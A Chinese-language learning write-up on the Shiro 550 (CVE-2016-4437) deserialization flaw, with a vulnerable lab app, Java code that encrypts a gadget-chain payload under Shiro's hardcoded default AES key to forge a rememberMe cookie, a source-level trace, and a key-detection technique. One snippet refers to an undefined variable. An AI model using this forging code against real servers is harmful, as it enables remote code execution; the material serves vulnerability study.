0x00 前言

说到 shiro 想必大家都很熟悉了,在近几年的 hw 中都担任了非常重要的角色,Shiro 550 就是 CVE-2016-4437,AES Key硬编码的那个,在Github上也有各种工具,但是没学习原理只用工具梭哈,终究只能做一个脚本小子,所以来简单的学习一下

0x01 Shiro 简单介绍

参考链接:https://zhuanlan.zhihu.com/p/54176956,[https://www.cnblogs.com/progor/p/10970971.html#shiro功能](https://www.cnblogs.com/progor/p/10970971.html#shiro%E5%8A%9F%E8%83%BD)

shiro 是一款轻量化的权限管理框架,能够较方便的实现用户验权,请求拦截等功能,同类型的框架是我们的 Spring Security ,相比之下 Spring Security 提供了更多的功能,我们这里来简单的介绍一下

Shiro 架构中主要有三个核心的概念:Subject, SecurityManager, Realms

Shiro 550 漏洞学习(一) - 图1

Subject:代表当前的用户

SecurityManager:管理者所有的 Subject ,在官方文档中描述其为 Shiro 架构的核心

Realms:SecurityManager的认证和授权需要使用Realm,Realm负责获取用户的权限和角色等信息,再返回给SecurityManager来进行判断,在配置 Shiro 的时候,我们必须指定至少一个Realm 来实现认证(authentication)和/或授权(authorization)

我们需要实现Realms的Authentication 和 Authorization。其中 Authentication 是用来验证用户身份,Authorization 是授权访问控制,用于对用户进行的操作授权,证明该用户是否允许进行当前操作,如访问某个链接,某个资源文件等。

下面是自己实现的 Realm,这里我们实现了认证的方法

Shiro 550 漏洞学习(一) - 图2

这里的 getPrincipal 其实就是获取我们登录的用户名,getCredentials 其实就是我们登录的密码

Shiro 550 漏洞学习(一) - 图3

我们这里的逻辑大致就是 如果获取到的用户名等于 admin 同时密码也为 admin那么就返回 AuthenticationInfo

AuthenticationInfo会携带存储起来的正确的用户认证信息,用来与用户提交的信息进行比对,如果信息不匹配,那么会认证失败

0x02 漏洞原理

在 Shiro <= 1.2.4 中,AES 加密算法的key是硬编码在源码中,当我们勾选remember me 的时候 shiro 会将我们的 cookie 信息序列化并且加密存储在 Cookie 的 rememberMe字段中,这样在下次请求时会读取 Cookie 中的 rememberMe字段并且进行解密然后反序列化

由于 AES 加密是对称式加密(Key 既能加密数据也能解密数据),所以当我们知道了我们的 AES key 之后我们能够伪造任意的 rememberMe 从而触发反序列化漏洞

0x03 漏洞环境

很简单的漏洞环境,是从 vulhub中提出来的

ps:原生 shiro 中是没有 common-collections的,这里为了更好的演示,所以添加了 common-collections 依赖

结构如下:

Shiro 550 漏洞学习(一) - 图4

UserController:

  1. package shiroexploit.demo.Controller;
  2. import org.apache.shiro.SecurityUtils;
  3. import org.apache.shiro.authc.AuthenticationException;
  4. import org.apache.shiro.authc.AuthenticationToken;
  5. import org.apache.shiro.authc.UsernamePasswordToken;
  6. import org.apache.shiro.subject.Subject;
  7. import org.apache.shiro.web.filter.authc.AuthenticatingFilter;
  8. import org.springframework.stereotype.Controller;
  9. import org.springframework.web.bind.annotation.*;
  10. @Controller
  11. public class UserController {
  12. @PostMapping("/doLogin")
  13. public String doLoginPage(@RequestParam("username") String username,@RequestParam("password") String password,@RequestParam(name="rememberme", defaultValue="") String rememberMe){
  14. Subject subject = SecurityUtils.getSubject();
  15. try {
  16. subject.login((AuthenticationToken)new UsernamePasswordToken(username, password, rememberMe.equals("remember-me")));
  17. // 如果认证失败
  18. }catch (AuthenticationException e) {
  19. return "forward:/login";
  20. }
  21. return "forward:/";
  22. }
  23. @ResponseBody
  24. @RequestMapping(value={"/"})
  25. public String helloPage() {
  26. return "hello";
  27. }
  28. @ResponseBody
  29. @RequestMapping(value={"/unauth"})
  30. public String errorPage() {
  31. return "error";
  32. }
  33. @ResponseBody
  34. @RequestMapping(value={"/login"})
  35. public String loginPage() {
  36. return "please login pattern /doLogin";
  37. }
  38. }

MainRealm:

package shiroexploit.demo.Shiro;

import org.apache.shiro.authc.AuthenticationException;
import org.apache.shiro.authc.AuthenticationInfo;
import org.apache.shiro.authc.AuthenticationToken;
import org.apache.shiro.authc.IncorrectCredentialsException;
import org.apache.shiro.authc.SimpleAuthenticationInfo;
import org.apache.shiro.authz.AuthorizationInfo;
import org.apache.shiro.mgt.AbstractRememberMeManager;
import org.apache.shiro.realm.AuthorizingRealm;
import org.apache.shiro.subject.PrincipalCollection;

public class MainRealm extends AuthorizingRealm {
    // 用于授权
    protected AuthorizationInfo doGetAuthorizationInfo(PrincipalCollection principalCollection) {
        // 获取当前授权的用户
        return null;
    }

    // 用于认证
    protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken authenticationToken) throws AuthenticationException {
        // getPrincipal 获取当前用户身份
        String username = (String)authenticationToken.getPrincipal();
        // 获取当前用户信用凭证 (其实就是获取密码 密码是 char类型的所以要转一下
        String password = new String((char[])authenticationToken.getCredentials());
        // 如果等于就返回对应的用户凭证
        if (username.equals("admin") && password.equals("admin")) {
            // shiro 会返回一个 AuthenticationInfo
            // 当前的realm名字
            return new SimpleAuthenticationInfo((Object)username, (Object)password, this.getName());
        }
        throw new IncorrectCredentialsException("Username or password is incorrect.");
    }
}

ShiroConfig:

package shiroexploit.demo.Shiro;

import java.util.LinkedHashMap;
import org.apache.shiro.mgt.RememberMeManager;
import org.apache.shiro.mgt.SecurityManager;
import org.apache.shiro.realm.Realm;
import org.apache.shiro.spring.web.ShiroFilterFactoryBean;
import org.apache.shiro.web.mgt.CookieRememberMeManager;
import org.apache.shiro.web.mgt.DefaultWebSecurityManager;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
//import org.vulhub.shirodemo.MainRealm;

@Configuration
public class ShiroConfig {

    @Bean
    MainRealm mainRealm() {
        return new MainRealm();
    }

    @Bean
    RememberMeManager cookieRememberMeManager() {
        return new CookieRememberMeManager();
    }


    @Bean
    SecurityManager securityManager(MainRealm mainRealm, RememberMeManager cookieRememberMeManager) {
        DefaultWebSecurityManager manager = new DefaultWebSecurityManager();
        manager.setRealm((Realm)mainRealm);
        manager.setRememberMeManager(cookieRememberMeManager);
        return manager;
    }

    @Bean(name={"shiroFilter"})
    ShiroFilterFactoryBean shiroFilterFactoryBean(SecurityManager securityManager) {
        ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean();
        bean.setSecurityManager(securityManager);
        bean.setLoginUrl("/login");
        bean.setUnauthorizedUrl("/unauth");
        LinkedHashMap<String, String> map = new LinkedHashMap<String, String>();
        map.put("/doLogin", "anon");
        map.put("/**", "user");
        bean.setFilterChainDefinitionMap(map);
        return bean;
    }
}

pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.4.4</version>
        <relativePath/> <!-- lookup parent from repository -->
    </parent>
    <groupId>ShiroExploit</groupId>
    <artifactId>demo</artifactId>
    <version>0.0.1-SNAPSHOT</version>
    <name>demo</name>
    <description>Demo project for Spring Boot</description>
    <properties>
        <java.version>1.8</java.version>
    </properties>
    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>

        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-test</artifactId>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>org.apache.shiro</groupId>
            <artifactId>shiro-core</artifactId>
            <version>1.2.4</version>
        </dependency>
        <dependency>
            <groupId>org.apache.shiro</groupId>
            <artifactId>shiro-web</artifactId>
            <version>1.6.0</version>
        </dependency>
        <dependency>
            <groupId>org.apache.shiro</groupId>
            <artifactId>shiro-spring</artifactId>
            <version>1.6.0</version>
        </dependency>

        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.25.0-GA</version>
            <scope>test</scope>
        </dependency>


    </dependencies>

    <build>
        <plugins>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
            </plugin>
        </plugins>
    </build>

</project>

0x04 漏洞利用

这里我们利用 cc11 来加载我们的恶意代码来打过去,cc11 的好处在于可以直接加载字节码,例如 cc6 和 cc11的区别就是一个是命令执行一个是代码执行,相比之下肯定是我们的代码执行危害比较大

ps:这里其实 cc6 是不行的,具体可以参考p神的 java漫谈

cc11 的 Poc 我们之前贴过了,由于 Poc 太长了所以这里直接放链接了

链接:https://www.yuque.com/tianxiadamutou/zcfd4v/th41wx

运行 cc11 的 poc 生成对应文件,然后利用如下代码进行加密生成

package shiroexploit.demo;
import com.sun.crypto.provider.AESKeyGenerator;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.*;


public class AESencode {
    public static void main(String[] args) throws Exception {
        String path = "/Users/xxxx/Desktop/java/ShiroTool/cc11";
        byte[] key = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
        AesCipherService aes = new AesCipherService();
        ByteSource ciphertext = aes.encrypt(getBytes(detectpath), key);
        System.out.printf(ciphertext.toString());
    }


    public static byte[] getBytes(String path) throws Exception{
        InputStream inputStream = new FileInputStream(path);
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        int n = 0;
        while ((n=inputStream.read())!=-1){
            byteArrayOutputStream.write(n);
        }
        byte[] bytes = byteArrayOutputStream.toByteArray();
        return bytes;

    }
}

将生成的密文作为 rememberMe 的值进行传递,最终触发我们的计算器

Shiro 550 漏洞学习(一) - 图5

0x05 漏洞分析

shiro的链其实蛮短的,同时也很好理解,我们接下来来分析一下

首先我们大体思路要有,那么就是 shiro 获取来我们cookie中 rememberMe 的值然后进行了 base64解码,AES 解密,然后再 readObject 造成的,大致流程如下:

Shiro 550 漏洞学习(一) - 图6

首先会在 AbstractRememberMeManager#getRememberedPrincipals 中将上下文中获取数据传入getRememberedSerializedIdentity 函数中

Shiro 550 漏洞学习(一) - 图7

我们跟进该函数 CookieRememberMeManager#getRememberedSerializedIdentity 会从我们的请求的 cookie 中获取对应的值

Shiro 550 漏洞学习(一) - 图8

在SimpleCookie#readValue中获取了 Cookie 中的 rememberMe 的值同时进行了返回

Shiro 550 漏洞学习(一) - 图9

再次回到 CookieRememberMeManager#getRememberedSerializedIdentity 中进行 Base64 解码,然后返回解码后的字节数组

Shiro 550 漏洞学习(一) - 图10

回到最初的方法 AbstractRememberMeManager#getRememberedPrincipals 中将之前返回的字节数组转换成PrincipalCollection,跟进该函数

Shiro 550 漏洞学习(一) - 图11

在 AbstractRememberMeManager#convertBytesToPrincipals 中会调用 decrypt 方法,我们继续跟进

Shiro 550 漏洞学习(一) - 图12

来到 AbstractRememberMeManager#decrypt,在该方法中会利用 getDecryptionCipherKey 函数获取到 AES 的 key,然后进行解密

这里不难猜测 getDecryptionCipherKey 返回的就是 AES Key,我们具体进行跟进

Shiro 550 漏洞学习(一) - 图13

我们看一下 getDecryptionCipherKey 是如何获取我们的 AES key 的,发现 getDecryptionCipherKey 会返回一个 数组,对应的我们去看 setDecryptionCipherKey 是如何进行设置的,找到之后发现在 setCipherKey 中将 cipherKey 传入到 setDecryptionCipherKey中(也就是第二个红框处)

Shiro 550 漏洞学习(一) - 图14

继续搜索哪里调用了 setCipherKey,发现在构造函数中调用了该函数,同时我们也发现了硬编码的密钥 DEFAULT_CIPHER_KEY_BYTES作为参数传入了该函数

Shiro 550 漏洞学习(一) - 图15

所以我们捋一下流程就是:

  1. AbstractRememberMeManager的构造函数中传入了 Base64解码后的密钥,然后调用了setCipherKey
  2. setCipherKey 中调用了setDecryptionCipherKey设置了decryptionCipherKey属性
  3. getDecryptionCipherKey 直接返回了该属性

接下来我们重新回到 decrypt 函数中,发现会调用 JcaCipherService#decrypt 进行解密,继续跟进

Shiro 550 漏洞学习(一) - 图16

继续进行跟进

Shiro 550 漏洞学习(一) - 图17

调用了 crypt 进行了解密

Shiro 550 漏洞学习(一) - 图18

2是解密模式,然后调用 doFinal 执行解密,然后返回解密结果

Shiro 550 漏洞学习(一) - 图19

返回到 AbstractRememberMeManager#decrypt 然后将返回值赋值给 byteSource ,然后存入到字节数组 serialized中, 然后进行返回

Shiro 550 漏洞学习(一) - 图20

返回值赋值给 bytes,调用 deserialize 进行反序列化操作

Shiro 550 漏洞学习(一) - 图21

AbstractRememberMeManager#deserialize

Shiro 550 漏洞学习(一) - 图22

最终来到 DefaultSerializer#deserialize 对数据进行反序列化,从而触发计算器

Shiro 550 漏洞学习(一) - 图23

最终效果如下:

Shiro 550 漏洞学习(一) - 图24

0x06 漏洞检测

文章链接:http://www.lmxspace.com/2020/08/24/一种另类的shiro检测方式/

网上的检测方法很多例如dnslog,cc盲打等,但是上面这些方法在某些特殊情况下并不奏效,这里我们主要来学习一下 l1nk3r 师傅提出的检测方案

key正确则不显示deleteMe,反之则显示 deleteMe,这样的检测方法能够高效的进行检测

我们先比对一下密钥正确和密钥错误的时候代码是如何走的,有什么区别,同时是如何利用这些区别来进行 key 的校验的

密钥错误情况

我们先来看一下密钥错误的时候,代码是如何走的

由于前面已经分析过了,所以前面的一些步骤我们这里就略过了直接从核心的代码处,也就是我们的 decrypt 开始分析,位置在 AbstractRememberMeManager#decrypt

Shiro 550 漏洞学习(一) - 图25

由于密钥是错的 所以解密失败抛出异常

Shiro 550 漏洞学习(一) - 图26

抛出的异常会在 getRememberedPrincipals 函数进行一个捕获,在 catch 中调用了 onRememberedPrincipalFailure 方法,我们进入该方法进行一个跟进

Shiro 550 漏洞学习(一) - 图27

在 AbstractRememberMeManager#onRememberedPrincipalFailure 中发现调用了 forgetIdentity 方法,我们继续进行跟进

Shiro 550 漏洞学习(一) - 图28

同样的继续跟进 removeForm方法

Shiro 550 漏洞学习(一) - 图29

发现在该方法中对我们的返回头进行了一个返回,也就是输出我们 deleteMe 的地方

Shiro 550 漏洞学习(一) - 图30

回过头来我们思考一下,我们最开始的起因是不是因为密钥解密失败,抛出了报错导致被getRememberedPrincipals的catch捕获,从而调用了 onRememberedPrincipalFailure 函数,最终在返回头重显示了 deleteMe

那么也就是说如果我们在运行过程中不抛出错误那么是不是就不会调用 onRememberedPrincipalFailure函数,从而最终不会显示 delteMe了呢?

接下来我们来看一下密钥正确的情况

密钥正确情况

前面都是一样的,由于密钥是正确的所以前面都不会进行报错

Shiro 550 漏洞学习(一) - 图31

反序列化中也没有报错,返回反序列化之后的类

Shiro 550 漏洞学习(一) - 图32

但是在这之后会进行一次类型转换,会将我们返回的类转换成 PrincipalCollection 类,否则就会抛出错误

下图是我们的 Gadget 在类型转换的时候抛出的异常的一个例子,位置 AbstractRememberMeManager#deserialize

Shiro 550 漏洞学习(一) - 图33

抛出了异常之后就会被 getRememberedPrincipals 的 catch 所捕获导致最终 header头中有 deleteMe

Shiro 550 漏洞学习(一) - 图34

Shiro 550 漏洞学习(一) - 图35

ps:这里还有一个就是我们的 Gadget在反序列化过程中自身不能出现报错,在利用 cc 的时候很多时候我们可以发现运行之后会产生报错,但是由于我们的命令执行在报错之前所以并无大碍,但是在这里检测的情况下抛出报错就会导致被捕获从而在返回头中出现 deleteMe

所以在密钥正确的情况下想要让回显头中没有 deleteMe 也是有条件的

  1. 我们需要构造一个继承于 PrincipalCollection 的序列化对象

这样当我们密钥正确的时候返回头重就不会有了 deleteMe

Shiro 550 漏洞学习(一) - 图36

构造

        SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection();
        ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream("./detect.ser"));
        obj.writeObject(simplePrincipalCollection);
        obj.close();

然后进行一次 AES 加密发送即可

package shiroexploit.demo;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.io.*;


public class AESencode {
    public static void main(String[] args) throws Exception {
        String path = "/Users/xxxx/Desktop/java/ShiroExploit/detect.ser";
        byte[] key = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
        AesCipherService aes = new AesCipherService();
        ByteSource ciphertext = aes.encrypt(getBytes(path), key);
        System.out.printf(ciphertext.toString());
    }


    public static byte[] getBytes(String path) throws Exception{
        InputStream inputStream = new FileInputStream(path);
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        int n = 0;
        while ((n=inputStream.read())!=-1){
            byteArrayOutputStream.write(n);
        }
        byte[] bytes = byteArrayOutputStream.toByteArray();
        return bytes;
    }
}

key正确的截图

Shiro 550 漏洞学习(一) - 图37

key错误的截图

Shiro 550 漏洞学习(一) - 图38

0x07 总结

至此第一部分就到这里了,本来打算把 Shiro 内存马那块写在一起但是怕篇幅太长了所以打算另开一篇来写,这样也好写的详细点

再次感谢 l1nk3r 师傅的文章,学到了很多